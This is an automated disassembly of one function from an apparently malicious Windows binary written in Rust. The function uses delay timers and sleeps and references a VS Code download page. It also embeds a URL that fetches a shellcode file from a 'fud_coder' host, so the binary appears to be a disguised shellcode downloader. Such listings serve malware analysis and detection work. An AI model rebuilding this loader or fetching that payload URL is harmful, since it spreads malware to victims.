Function at 0x140049930
Capabilities:
Check os version
Get number of processors

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x608
lea rbp, [rsp + 0x80]
movaps xmmword [rbp + 0x570], xmm6
mov qword [rbp + 0x568], 0xfffffffffffffffe
mov rax, r8
mov r12, rdx
mov rdi, rcx
lea rcx, [rbp + 0x380]
mov r8d, 0x150
mov rdx, rax
call fcn.14011a750
mov eax, dword [0x140198314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
test eax, eax
je 0x1400499a3
cmp eax, 1
je 0x1400499d0
jmp 0x14004ad6c
mov eax, dword [0x140198314]
mov rcx, qword gs:[0x58]
mov rsi, qword [rcx + rax*8]
lea rcx, [rsi + 0xd0]
lea rdx, [0x140053810]
call fcn.1400e8540
mov byte [rsi + 0x120], 1
mov qword [rbp + 0x500], rdi
mov eax, dword [0x140198314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
cmp byte [rax + 0x11e], 2
jne 0x14004c2f8
mov eax, dword [0x140198314]
mov rcx, qword gs:[0x58]
mov r15, qword [rcx + rax*8]
mov byte [r15 + 0x11e], 0
mov r14, qword [r12]
mov rbx, qword [r12 + 8]
lea rcx, [rbx + 0x1d0]
lea rax, [rbx + 0x170]
test r14, r14
cmove rcx, rax
call fcn.140101ef0
mov esi, eax
mov edi, edx
cmp dword [r15 + 0x110], 0
je 0x140049a64
mov eax, dword [0x140198314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov edx, dword [rax + 0x118]
mov ecx, dword [rax + 0x114]
jmp 0x140049a7b
call fcn.140103f30
mov rcx, rax
shr rcx, 0x20
cmp eax, 2
mov edx, 1
cmovae edx, eax
mov eax, dword [0x140198314]
mov r8, qword gs:[0x58]
mov rax, qword [r8 + rax*8]
mov dword [rax + 0x110], 1
mov dword [rax + 0x114], esi
mov dword [rax + 0x118], edi
cmp qword [rax + 0xd0], 0
jne 0x14004c339
mov eax, dword [0x140198314]
mov r8, qword gs:[0x58]
mov rax, qword [r8 + rax*8]
mov qword [rax + 0xd0], 0xffffffffffffffff
mov eax, 1
mov r8d, 1
lock xadd qword [rbx], r8
test r14, r14
je 0x140049af6
test r8, r8
mov rsi, qword [rbp + 0x500]
jns 0x140049b08
jmp 0x14004c29b
test r8, r8
mov rsi, qword [rbp + 0x500]
js 0x14004c29b
xor eax, eax
mov r8d, dword [0x140198314]
mov r9, qword gs:[0x58]
mov r10, qword [r9 + r8*8]
mov r8, qword [r10 + 0xd8]
mov r9, qword [r10 + 0xe0]
mov qword [r10 + 0xd8], rax
mov qword [r10 + 0xe0], rbx
inc qword [r10 + 0xd0]
mov rax, qword [r10 + 0xe8]
cmp rax, 0xffffffffffffffff
je 0x14004c345
inc rax
mov r10d, dword [0x140198314]
mov r11, qword gs:[0x58]
mov r10, qword [r11 + r10*8]
mov qword [r10 + 0xe8], rax
mov qword [rbp + 0x4d0], r8
mov qword [rbp + 0x4d8], r9
mov qword [rbp + 0x4e0], rax
mov dword [rbp + 0x4e8], ecx
mov dword [rbp + 0x4ec], edx
mov qword [rbp + 0x170], r12
cmp qword [r12], 0
jne 0x14004c386
xor edi, edi
xorps xmm6, xmm6
lea r15, [0x140151238]
lea r12, [rbp + 0x50]
mov r13, qword [sym.imp.kernel32.dll_HeapFree]
nop dword [rax + rax]
xor eax, eax
xchg qword [rsi + 0x20], rax
test rax, rax
jne 0x14004ac24
mov qword [rbp + 0x178], 2
mov rax, qword [rsi]
shr rax, 2
lea rdx, [rbp + 0x538]
movups xmmword [rdx - 0x18], xmm6
mov qword [rdx - 8], 0
mov qword [rbp + 0x510], rsi
mov qword [rbp + 0x518], rax
movups xmmword [rdx], xmm6
mov byte [rdx + 0x10], 0
mov eax, dword [rbp + 0x1e1]
mov ecx, dword [rbp + 0x1e4]
mov dword [rdx + 0x14], ecx
mov dword [rdx + 0x11], eax
mov eax, dword [0x140198314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov rax, qword [rax + 0xc0]
cmp rax, 1
jne 0x14004ac11
mov eax, dword [0x140198314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov rax, qword [rax + 0xc8]
lock inc qword [rax]
jle 0x14004c29b
add rax, 0x10
lea rcx, fcn.1400fbd50
mov qword [rbp + 0x4f0], rcx
mov qword [rbp + 0x4f8], rax
lea rax, [rbp + 0x4f0]
mov qword [rbp + 0x1c0], rax
mov qword [rbp + 0x1c8], rax
mov qword [rbp + 0x1d0], 0
jmp 0x140049cbd
cmp rax, 2
jne 0x14004c22f
xor eax, eax
xchg qword [r14 + 0x10], rax
mov al, 1
lock cmpxchg byte [rbx], dil
jne 0x14004a0ac
mov eax, dword [0x140198314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx r14d, byte [rax + 0x120]
cmp r14d, 2
je 0x140049e00
cmp r14d, 1
lea rbx, [rbp + 0x1e8]
je 0x140049dc2
mov eax, dword [0x140198314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
cmp qword [rax + 0x58], 0
jne 0x14004c4d5
mov eax, dword [0x140198314]
mov rcx, qword gs:[0x58]
mov rcx, qword [rcx + rax*8]
mov qword [rcx + 0x58], 0xffffffffffffffff
mov rax, qword [0x140128690]
mov rsi, qword [rcx + 0x70]
mov rax, 0xffffffffffffffff
cmp rsi, qword [rcx + 0x60]
jne 0x140049d6f
call fcn.1400e8770
mov eax, dword [0x140198314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov rax, qword [rax + 0x58]
mov ecx, dword [0x140198314]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
mov rdx, qword [rcx + 0x68]
mov r8, rsi
shl r8, 4
lea r9, [rcx + 0xd0]
mov qword [rdx + r8], r9
lea r9, [0x140053810]
mov qword [rdx + r8 + 8], r9
inc rsi
mov qword [rcx + 0x70], rsi
inc rax
mov qword [rcx + 0x58], rax
mov byte [rcx + 0x120], 1
mov eax, dword [0x140198314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx r14d, byte [rax + 0x11c]
movzx ecx, byte [rax + 0x11d]
mov byte [rbp + 0x55f], cl
mov word [rax + 0x11c], 0x8001
jmp 0x140049e07
lea rbx, [rbp + 0x1e8]
mov rdx, qword [rbp + 0x1c0]
lea rcx, [rbp + 0x510]
call fcn.140108b40
test al, al
je 0x140049e90
movzx eax, byte [rbp + 0x4c8]
test eax, eax
je 0x140049eb0
cmp eax, 3
jne 0x14004c1e8
movzx eax, byte [rbp + 0x4c0]
test eax, eax
je 0x14004a98e
cmp eax, 3
jne 0x14004c28f
nop
cmp dword [rbp + 0x388], 2
jne 0x14004aa39
mov rax, qword [rbp + 0x390]
mov qword [rbp + 0x390], 0
test rax, rax
je 0x14004c1b8
mov qword [rbp + 0x50], 3
mov qword [rbp + 0x58], rax
jmp 0x14004a0e0
xor esi, esi
cmp r14b, 2
jne 0x14004aa72
jmp 0x14004aaea
mov qword [rbp + 0x1e8], r15
mov qword [rbp + 0x1f0], 1
mov qword [rbp + 0x1f8], 8
movups xmmword [rbp + 0x200], xmm6
mov rcx, rbx
call fcn.1400f1b40
mov qword [rbp + 0x1e8], 0
mov rcx, rbx
call qword [sym.imp.kernel32.dll_GetSystemTimePreciseAsFileTime]
mov r8, qword [rbp + 0x1e8]
mov rax, r8
movabs rdx, 0x19db1ded53e8000
sub rax, rdx
neg rax
movabs rcx, 0xfe624e212ac18000
add rcx, r8
cmp r8, rdx
cmovl rcx, rax
mov rax, rcx
movabs rdx, 0xd6bf94d5e57a42bd
mul rdx
shr rdx, 0x17
imul eax, edx, 0x989680
sub ecx, eax
movabs rax, 0x19db1ded53e7fff
cmp r8, rax
jle 0x14004c1f4
imul rax, rdx, 0x3e8
mov ecx, ecx
mov edx, 0xd1b71759
imul rcx, rdx
shr rcx, 0x2d
add rcx, rax
mov qword [rbp + 0x50], rcx
mov qword [rbp + 0x58], 0
mov qword [rbp - 0x48], r12
lea rax, [0x14000bf10]
mov qword [rbp - 0x40], rax
lea rax, str.Time:
mov qword [rbp + 0x1e8], rax
mov qword [rbp + 0x1f0], 2
mov qword [rbp + 0x208], 0
lea rax, [rbp - 0x48]
mov qword [rbp + 0x1f8], rax
mov qword [rbp + 0x200], 1
mov rcx, rbx
call fcn.1400f1b40
mov qword [rbp + 0x1e8], r15
mov qword [rbp + 0x1f0], 1
mov qword [rbp + 0x1f8], 8
movups xmmword [rbp + 0x200], xmm6
mov rcx, rbx
call fcn.1400f1b40
mov qword [rbp + 0x1e8], r15
mov qword [rbp + 0x1f0], 1
mov qword [rbp + 0x1f8], 8
movups xmmword [rbp + 0x200], xmm6
mov rcx, rbx
call fcn.1400f1b40
xor ecx, ecx
xor edx, edx
mov r8d, 2
mov r9d, 0x1f0003
call qword [sym.imp.kernel32.dll_CreateWaitableTimerExW]
test rax, rax
je 0x14004a09c
mov rbx, rax
mov qword [rbp + 0x1e8], 0xfffffffffd050f80
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov rcx, rax
lea rdx, [rbp + 0x1e8]
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.kernel32.dll_SetWaitableTimer]
test eax, eax
je 0x14004a093
mov rcx, rbx
mov edx, 0xffffffff
call qword [sym.imp.kernel32.dll_WaitForSingleObject]
mov esi, eax
mov rcx, rbx
call qword [sym.imp.kernel32.dll_CloseHandle]
cmp esi, 0xffffffff
jne 0x14004a980
jmp 0x14004a09c
mov rcx, rbx
call qword [sym.imp.kernel32.dll_CloseHandle]
mov ecx, 0x1388
call qword [sym.imp.kernel32.dll_Sleep]
jmp 0x14004a980
mov rcx, rbx
call fcn.140120760
jmp 0x140049cbd
mov rcx, rbx
call fcn.140120410
xor eax, eax
mov ecx, 1
lock cmpxchg qword [r14 + 0x10], rcx
je 0x14004ab66
jmp 0x140049ca0
mov r8d, 0x98
lea rcx, [rbp - 0x48]
mov rdx, r12
call fcn.14011a750
cmp dword [rbp + 0x388], 2
jne 0x14004a170
mov r12, qword [rbp + 0x390]
test r12, r12
je 0x14004a538
mov rbx, qword [r12 + 0x58]
test rbx, rbx
je 0x14004a148
mov rsi, qword [r12 + 0x60]
mov rax, qword [rsi]
test rax, rax
je 0x14004a127
mov rcx, rbx
call rax
cmp qword [rsi + 8], 0
je 0x14004a148
cmp qword [rsi + 0x10], 0x11
jb 0x14004a139
mov rbx, qword [rbx - 8]
mov rcx, qword [0x140198260]
xor edx, edx
mov r8, rbx
call r13
mov rax, qword [r12]
movabs rcx, 0x8000000000000000
cmp rax, rcx
jne 0x14004a49c
lea rbx, [rbp + 0x1e8]
jmp 0x14004a529
cmp byte [rbp + 0x480], 0xa
jb 0x14004a196
cmp qword [rbp + 0x490], 0
je 0x14004a196
mov r8, qword [rbp + 0x488]
mov rcx, qword [0x140198260]
xor edx, edx
call r13
cmp qword [rbp + 0x410], 0
je 0x14004a1b3
mov r8, qword [rbp + 0x418]
mov rcx, qword [0x140198260]
xor edx, edx
call r13
cmp qword [rbp + 0x400], 0
je 0x14004a1d0
mov r8, qword [rbp + 0x3f8]
mov rcx, qword [0x140198260]
xor edx, edx
call r13
mov rsi, qword [rbp + 0x3d8]
test rsi, rsi
je 0x14004a230
mov rbx, qword [rbp + 0x3d0]
add rbx, 0x30
jmp 0x14004a20b
mov rax, qword [rbx - 0x18]
mov rdx, qword [rbx - 0x10]
mov r8, qword [rbx - 8]
mov rcx, rbx
call qword [rax + 0x10]
add rbx, 0x68
dec rsi
je 0x14004a230
mov rax, qword [rbx + 0x10]
test rax, rax
je 0x14004a1f0
lea rcx, [rbx + 0x28]
mov rdx, qword [rbx + 0x18]
mov r8, qword [rbx + 0x20]
call qword [rax + 0x10]
jmp 0x14004a1f0
cmp qword [rbp + 0x3c8], 0
je 0x14004a24d
mov r8, qword [rbp + 0x3d0]
mov rcx, qword [0x140198260]
xor edx, edx
call r13
mov rsi, qword [rbp + 0x3f0]
test rsi, rsi
je 0x14004a28b
mov rbx, qword [rbp + 0x3e8]
add rbx, 0x38
nop word cs:[rax + rax]
mov rax, qword [rbx - 0x18]
mov rdx, qword [rbx - 0x10]
mov r8, qword [rbx - 8]
mov rcx, rbx
call qword [rax + 0x10]
add rbx, 0x48
dec rsi
jne 0x14004a270
cmp qword [rbp + 0x3e0], 0
je 0x14004a2a8
mov r8, qword [rbp + 0x3e8]
mov rcx, qword [0x140198260]
xor edx, edx
call r13
cmp qword [rbp + 0x388], 0
je 0x14004a2d6
mov rax, qword [rbp + 0x390]
test rax, rax
je 0x14004a2d6
mov rdx, qword [rbp + 0x398]
mov r8, qword [rbp + 0x3a0]
lea rcx, [rbp + 0x3a8]
call qword [rax + 0x10]
mov rsi, qword [rbp + 0x478]
test rsi, rsi
je 0x14004a320
mov rbx, qword [rbp + 0x470]
add rbx, 8
jmp 0x14004a2f9
add rbx, 0x58
dec rsi
je 0x14004a320
cmp qword [rbx - 8], 0
je 0x14004a2f0
mov r8, qword [rbx]
mov rcx, qword [0x140198260]
xor edx, edx
call r13
jmp 0x14004a2f0
cmp qword [rbp + 0x468], 0
je 0x14004a33d
mov r8, qword [rbp + 0x470]
mov rcx, qword [0x140198260]
xor edx, edx
call r13
mov rax, qword [rbp + 0x498]
lock dec qword [rax]
jne 0x14004a356
lea rcx, [rbp + 0x498]
call fcn.1400458a0
mov rbx, qword [rbp + 0x4a0]
mov rsi, qword [rbp + 0x4a8]
mov rax, qword [rsi]
test rax, rax
je 0x14004a371
mov rcx, rbx
call rax
cmp qword [rsi + 8], 0
je 0x14004a392
cmp qword [rsi + 0x10], 0x11
jb 0x14004a383
mov rbx, qword [rbx - 8]
mov rcx, qword [0x140198260]
xor edx, edx
mov r8, rbx
call r13
mov r12, qword [rbp + 0x4b8]
test r12, r12
lea rbx, [rbp + 0x1e8]
je 0x14004a538
cmp qword [r12], 0
mov rbx, qword [r12 + 8]
mov eax, 0x118
mov ecx, 0xb8
cmove rax, rcx
cmp dword [rbx + rax + 0xa8], 0x3b9aca00
je 0x14004c1d0
lea r13, [r12 + 8]
add rbx, rax
lea rsi, [r12 + 0x20]
xor eax, eax
mov cl, 1
lock cmpxchg byte [rbx + 0x58], cl
jne 0x14004a4bf
mov rax, qword [r12 + 0x40]
cmp rax, 0xffffffffffffffff
je 0x14004a405
lea rcx, [rbx + 0x60]
mov rdx, rsi
call fcn.140107300
mov rax, qword [r12 + 0x40]
cmp rax, 0xffffffffffffffff
je 0x14004a470
mov byte [r12 + 0x60], 0
mov qword [r12 + 0x40], 0xffffffffffffffff
mov rax, qword [r12 + 0x58]
nop word cs:[rax + rax]
mov rcx, rax
or rcx, 2
lock cmpxchg qword [r12 + 0x58], rcx
jne 0x14004a430
test rax, rax
jne 0x14004a470
mov rax, qword [r12 + 0x48]
mov rcx, qword [r12 + 0x50]
mov qword [r12 + 0x48], 0
lock and qword [r12 + 0x58], 0xfffffffffffffffd
test rax, rax
je 0x14004a470
call qword [rax + 0x18]
nop word [rax + rax]
mov al, 1
lock cmpxchg byte [rbx + 0x58], dil
jne 0x14004a4dc
cmp qword [r12], 0
je 0x14004a4ef
mov rax, qword [r13]
lock dec qword [rax]
lea rbx, [rbp + 0x1e8]
jne 0x14004a510
mov rcx, r13
call fcn.1400440c0
jmp 0x14004a510
test rax, rax
lea rbx, [rbp + 0x1e8]
je 0x14004a529
mov r8, qword [r12 + 8]
mov rcx, qword [0x140198260]
xor edx, edx
call r13
jmp 0x14004a529
lea rcx, [rbx + 0x58]
call fcn.140120410
mov rax, qword [r12 + 0x40]
cmp rax, 0xffffffffffffffff
jne 0x14004a3f9
jmp 0x14004a405
add rbx, 0x58
mov rcx, rbx
call fcn.140120760
cmp qword [r12], 0
jne 0x14004a481
mov rax, qword [r13]
lock dec qword [rax]
lea rbx, [rbp + 0x1e8]
jne 0x14004a510
mov rcx, r13
call fcn.14002ea00
nop dword [rax + rax]
mov rax, qword [r12 + 0x48]
test rax, rax
je 0x14004a522
mov rcx, qword [r12 + 0x50]
call qword [rax + 0x18]
mov r13, qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, qword [0x140198260]
xor edx, edx
mov r8, r12
call r13
cmp dword [rbp - 0x48], 3
jne 0x14004a5f0
mov qword [rbp + 0x50], r15
mov qword [rbp + 0x58], 1
mov qword [rbp + 0x60], 8
movups xmmword [rbp + 0x68], xmm6
lea r12, [rbp + 0x50]
mov rcx, r12
call fcn.1400f1b40
xor ecx, ecx
xor edx, edx
mov r8d, 2
mov r9d, 0x1f0003
call qword [sym.imp.kernel32.dll_CreateWaitableTimerExW]
test rax, rax
je 0x14004a888
mov rbx, rax
mov qword [rbp + 0x50], 0xfffffffffe363c80
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov rcx, rax
mov rdx, r12
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.kernel32.dll_SetWaitableTimer]
test eax, eax
je 0x14004a87f
mov rcx, rbx
mov edx, 0xffffffff
call qword [sym.imp.kernel32.dll_WaitForSingleObject]
mov esi, eax
mov rcx, rbx
call qword [sym.imp.kernel32.dll_CloseHandle]
cmp esi, 0xffffffff
jne 0x14004a893
jmp 0x14004a888
mov r12, r15
mov qword [rbp + 0x50], r15
mov qword [rbp + 0x58], 1
mov qword [rbp + 0x60], 8
movups xmmword [rbp + 0x68], xmm6
lea rcx, [rbp + 0x50]
call fcn.1400f1b40
lea rcx, [rbp - 0x48]
call fcn.1400475c0
mov rax, qword [rbp + 0x380]
lock dec qword [rax]
jne 0x14004a636
lea rcx, [rbp + 0x380]
call fcn.1400458a0
mov byte [rbp + 0x4c0], 1
lea rsi, str.REQWEST_URLhttps:__fud_coder.com_uf_shellcodeAny_20241014215657647.bin
mov rcx, rsi
lea rdx, [0x140151083]
call fcn.1400496a0
mov r8d, 0xb
mov rcx, rbx
mov rdx, rsi
call fcn.1400ecbf0
mov r15, qword [rbp + 0x1e8]
movabs rax, 0x8000000000000000
cmp r15, rax
jne 0x14004a690
mov r15, r12
lea r12, [rbp + 0x50]
jmp 0x14004a980
mov rsi, qword [rbp + 0x1f0]
mov r8, qword [rbp + 0x1f8]
cmp byte [rbp + 0x200], 0
je 0x14004a8af
lea rcx, [rbp - 0x48]
mov rdx, rsi
call fcn.140003620
movabs rax, 0x8000000000000000
cmp qword [rbp - 0x48], rax
jne 0x14004a759
xor ecx, ecx
xor edx, edx
mov r8d, 2
mov r9d, 0x1f0003
call qword [sym.imp.kernel32.dll_CreateWaitableTimerExW]
test rax, rax
je 0x14004a94c
mov rbx, rax
mov qword [rbp + 0x1e8], 0xfffffffffd050f80
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov rcx, rax
lea rdx, [rbp + 0x1e8]
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.kernel32.dll_SetWaitableTimer]
test eax, eax
je 0x14004a943
mov rcx, rbx
mov edx, 0xffffffff
call qword [sym.imp.kernel32.dll_WaitForSingleObject]
mov rdi, rsi
mov esi, eax
mov rcx, rbx
call qword [sym.imp.kernel32.dll_CloseHandle]
cmp esi, 0xffffffff
mov rsi, rdi
mov edi, 0
jne 0x14004a957
jmp 0x14004a94c
mov qword [rbp + 0x508], rsi
mov rax, qword [rbp - 0x38]
mov qword [rbp + 0x60], rax
movups xmm0, xmmword [rbp - 0x48]
movaps xmmword [rbp + 0x50], xmm0
call fcn.140003b90
call fcn.1400017c0
mov rbx, rax
and eax, 3
cmp eax, 1
jne 0x14004a7d7
mov r13, qword [rbx - 1]
mov rsi, qword [rbx + 7]
mov rax, qword [rsi]
test rax, rax
je 0x14004a79a
mov rcx, r13
call rax
cmp qword [rsi + 8], 0
je 0x14004a7be
cmp qword [rsi + 0x10], 0x11
jb 0x14004a7ac
mov r13, qword [r13 - 8]
mov rcx, qword [0x140198260]
xor edx, edx
mov r8, r13
call qword [sym.imp.kernel32.dll_HeapFree]
dec rbx
mov rcx, qword [0x140198260]
xor edx, edx
mov r8, rbx
mov r13, qword [sym.imp.kernel32.dll_HeapFree]
call r13
lea rsi, [rbp + 0x1e8]
mov rcx, rsi
call fcn.140001b90
cmp qword [rbp + 0x1e8], 0
je 0x14004a802
mov rcx, qword [rbp + 0x1f0]
test rcx, rcx
je 0x14004a802
mov rax, qword [rcx]
call qword [rax + 0x10]
mov ecx, 5
call fcn.1400e9310
call fcn.140004c50
mov qword [rbp + 0x1e8], r12
mov qword [rbp + 0x1f0], 1
mov qword [rbp + 0x1f8], 8
movups xmmword [rbp + 0x200], xmm6
mov rcx, rsi
call fcn.1400f1b40
lea rcx, [rbp + 0x50]
call fcn.1400015a0
mov sil, 1
test r15, r15
je 0x14004a861
mov rcx, qword [0x140198260]
xor edx, edx
mov r8, qword [rbp + 0x508]
call r13
mov al, 1
mov r15, r12
lea r12, [rbp + 0x50]
mov byte [rbp + 0x4c8], al
cmp r14b, 2
je 0x14004aaea
jmp 0x14004aa72
mov rcx, rbx
call qword [sym.imp.kernel32.dll_CloseHandle]
mov ecx, 0xbb8
call qword [sym.imp.kernel32.dll_Sleep]
lea rcx, [rbp - 0x48]
call fcn.1400475c0
mov rdx, qword [rbp + 0x380]
lea rbx, [rbp + 0x1e8]
jmp 0x14004a9ae
test r8, r8
je 0x14004a6ab
lea rax, [rsi + r8]
mov rdx, rsi
jmp 0x14004a8dc
add rdx, 2
cmp rcx, rax
cmovne rcx, rdx
nop dword [rax]
mov rdx, rcx
cmp rcx, rax
je 0x14004a6ab
lea rcx, [rdx + 1]
movzx r9d, byte [rdx]
test r9b, r9b
jns 0x14004a8d0
cmp r9b, 0xe0
jb 0x14004a8c1
cmp r9b, 0xed
jne 0x14004a91a
cmp rcx, rax
je 0x14004a6ab
lea rcx, [rdx + 2]
cmp rcx, rax
je 0x14004a6ab
cmp byte [rdx + 1], 0x9f
ja 0x14004a957
add rdx, 3
mov rcx, rdx
jmp 0x14004a8d0
add rdx, 2
cmp rcx, rax
cmove rdx, rcx
xor ecx, ecx
cmp rdx, rax
setne cl
add rcx, rdx
cmp r9b, 0xf0
jb 0x14004a8d0
xor edx, edx
cmp rcx, rax
setne dl
add rcx, rdx
jmp 0x14004a8d0
mov rcx, rbx
call qword [sym.imp.kernel32.dll_CloseHandle]
mov ecx, 0x1388
call qword [sym.imp.kernel32.dll_Sleep]
test r15, r15
mov r15, r12
lea r12, [rbp + 0x50]
je 0x14004a980
mov rcx, qword [0x140198260]
xor edx, edx
mov r8, rsi
call r13
nop word cs:[rax + rax]
mov byte [rbp + 0x4c0], 0
lea rbx, [rbp + 0x1e8]
mov rcx, rbx
call fcn.1400ccc10
mov rcx, rbx
call fcn.1400ccfe0
test rax, rax
jne 0x14004c15b
mov qword [rbp + 0x380], rdx
mov rcx, r12
lea r8, str.https:__code.visualstudio.com_download
call fcn.140053c70
cmp dword [rbp + 0x50], 2
jne 0x14004a9f0
mov qword [rbp + 0x1e8], 2
mov rax, qword [rbp + 0x58]
mov rsi, qword [rbp + 0x160]
mov qword [rbp + 0x1f0], rax
lock dec qword [rsi]
je 0x14004aa0b
jmp 0x14004aa17
mov rsi, qword [rbp + 0x160]
mov rcx, rbx
mov rdx, rsi
mov r8, r12
call fcn.1400cf6a0
lock dec qword [rsi]
jne 0x14004aa17
lea rcx, [rbp + 0x160]
call fcn.1400c0f10
mov r8d, 0x138
lea rcx, [rbp + 0x388]
mov rdx, rbx
call fcn.14011a750
cmp dword [rbp + 0x388], 2
je 0x140049e5d
mov rcx, r12
lea rdx, [rbp + 0x388]
lea r8, [rbp + 0x1c0]
call fcn.1400d1f00
cmp qword [rbp + 0x50], 4
jne 0x14004a0e0
mov byte [rbp + 0x4c0], 3
mov al, 3
mov sil, 2
mov byte [rbp + 0x4c8], al
cmp r14b, 2
je 0x14004aaea
mov eax, dword [0x140198314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
cmp eax, 2
je 0x14004aaea
cmp eax, 1
je 0x14004aac3
mov eax, dword [0x140198314]
mov rcx, qword gs:[0x58]
mov rbx, qword [rcx + rax*8]
lea rcx, [rbx + 0xd0]
lea rdx, [0x1400fba20]
call fcn.1400e8540
mov byte [rbx + 0x120], 1
mov eax, dword [0x140198314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov byte [rax + 0x11c], r14b
movzx ecx, byte [rbp + 0x55f]
mov byte [rax + 0x11d], cl
cmp sil, 2
jne 0x14004abb0
mov eax, dword [0x140198314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov rax, qword [rax + 0xc0]
cmp rax, 1
jne 0x14004ab93
mov eax, dword [0x140198314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov r14, qword [rax + 0xc8]
mov eax, 2
lock cmpxchg qword [r14 + 0x10], rdi
je 0x140049cbd
lea rbx, [r14 + 0x20]
xor eax, eax
mov cl, 1
lock cmpxchg byte [r14 + 0x20], cl
jne 0x14004a0b9
xor eax, eax
mov ecx, 1
lock cmpxchg qword [r14 + 0x10], rcx
jne 0x140049ca0
lea rsi, [r14 + 0x18]
nop word [rax + rax]
mov rcx, rsi
mov rdx, rbx
mov r9d, 0x3b9aca00
call fcn.140055370
mov eax, 2
lock cmpxchg qword [r14 + 0x10], rdi
jne 0x14004ab70
jmp 0x140049cb0
test rax, rax
jne 0x14004c18d
call fcn.140126180
jmp 0x14004ab14
mov rax, qword [rbp + 0x4f0]
mov rcx, qword [rbp + 0x4f8]
call qword [rax + 0x18]
lea rcx, [rbp + 0x510]
call fcn.140109000
mov rax, qword [rbp + 0x530]
test sil, sil
jne 0x14004ad97
test rax, rax
je 0x14004abec
mov rcx, qword [rbp + 0x538]
call qword [rax + 0x18]
cmp dword [rbp + 0x178], 2
mov rsi, qword [rbp + 0x500]
je 0x140049bc0
lea rcx, [rbp + 0x178]
call fcn.140053850
jmp 0x140049bc0
test rax, rax
jne 0x14004c2cd
call fcn.140126180
jmp 0x140049c3f
mov rcx, qword [rbp + 0x170]
mov rcx, qword [rcx + 8]
lock inc qword [rcx]
jle 0x14004c29b
mov qword [rbp + 0x178], 0
mov qword [rbp + 0x180], rcx
mov qword [rbp + 0x188], 0
mov qword [rbp + 0x190], rax
xorps xmm0, xmm0
lea rax, [rbp + 0x198]
movups xmmword [rax], xmm0
mov qword [rbp + 0x1a8], 8
mov qword [rbp + 0x1b0], 0
mov qword [rbp + 0x1b8], rsi
mov rax, qword [rbp + 0x178]
mov rcx, qword [rbp + 0x180]
mov rdx, qword [rbp + 0x188]
mov r8, qword [rbp + 0x190]
movups xmm1, xmmword [rbp + 0x198]
mov qword [rbp + 0x510], rax
mov qword [rbp + 0x518], rcx
mov qword [rbp + 0x550], rsi
mov qword [rbp + 0x520], rdx
mov qword [rbp + 0x528], r8
movaps xmmword [rbp + 0x530], xmm1
mov rax, qword [rbp + 0x1a8]
mov qword [rbp + 0x540], rax
mov rax, qword [rbp + 0x1b0]
mov qword [rbp + 0x548], rax
cmp qword [rbp + 0x510], 0
jne 0x14004c402
cmp qword [rbp + 0x520], 0
jne 0x14004c440
mov qword [rbp + 0x520], 0xffffffffffffffff
mov r12, qword [rbp + 0x528]
mov qword [rbp + 0x528], 0
test r12, r12
je 0x14004c44c
mov qword [rbp + 0x520], 0
mov eax, dword [0x140198314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
test eax, eax
je 0x14004adc4
cmp eax, 1
je 0x14004adf1
mov rcx, r12
call fcn.14004c5a0
lea rax, [0x140163460]
mov qword [rsp + 0x20], rax
lea rcx, str.cannot_access_a_Thread_Local_Storage_value_during_or_after_destruction_rustc_ba1d7f4a083e6402679105115ded645512a7aea8library_std_src_threadlocal.rs
lea r9, [0x140163200]
lea r8, [rbp + 0x560]
mov edx, 0x46
call fcn.14011b890
test rax, rax
je 0x14004ada6
mov rcx, qword [rbp + 0x538]
call qword [rax + 0x18]
cmp dword [rbp + 0x178], 2
je 0x14004bd9b
lea rcx, [rbp + 0x178]
call fcn.140053850
jmp 0x14004bd9b
mov eax, dword [0x140198314]
mov rcx, qword gs:[0x58]
mov rsi, qword [rcx + rax*8]
lea rcx, [rsi + 0xd0]
lea rdx, [0x140053810]
call fcn.1400e8540
mov byte [rsi + 0x120], 1
mov eax, dword [0x140198314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov rcx, qword [rax + 0x108]
mov qword [rbp + 0x508], rcx
lea rcx, [rbp + 0x510]
mov qword [rax + 0x108], rcx
mov rax, qword [rbp + 0x518]
lea rcx, [rax + 0x10]
mov byte [rax + 0xb0], 1
lea rdx, [0x140162080]
mov qword [rbp + 0x4f0], rdx
mov qword [rbp + 0x4f8], rcx
lea rcx, [rbp + 0x4f0]
mov qword [rbp + 0x1c0], rcx
mov qword [rbp + 0x1c8], rcx
mov qword [rbp + 0x1d0], 0
xorps xmm6, xmm6
lea rsi, [rbp + 0x1e8]
xor ecx, ecx
xchg byte [rax + 0xb0], cl
test cl, cl
je 0x14004b230
cmp qword [rbp + 0x520], 0
jne 0x14004c2c1
mov qword [rbp + 0x520], 0xffffffffffffffff
mov rcx, qword [rbp + 0x528]
test rcx, rcx
je 0x14004aec0
call fcn.14004c5a0
mov rax, qword [rbp + 0x520]
inc rax
jmp 0x14004aec2
xor eax, eax
mov qword [rbp + 0x528], r12
mov qword [rbp + 0x520], rax
mov eax, dword [0x140198314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx r14d, byte [rax + 0x120]
cmp r14d, 2
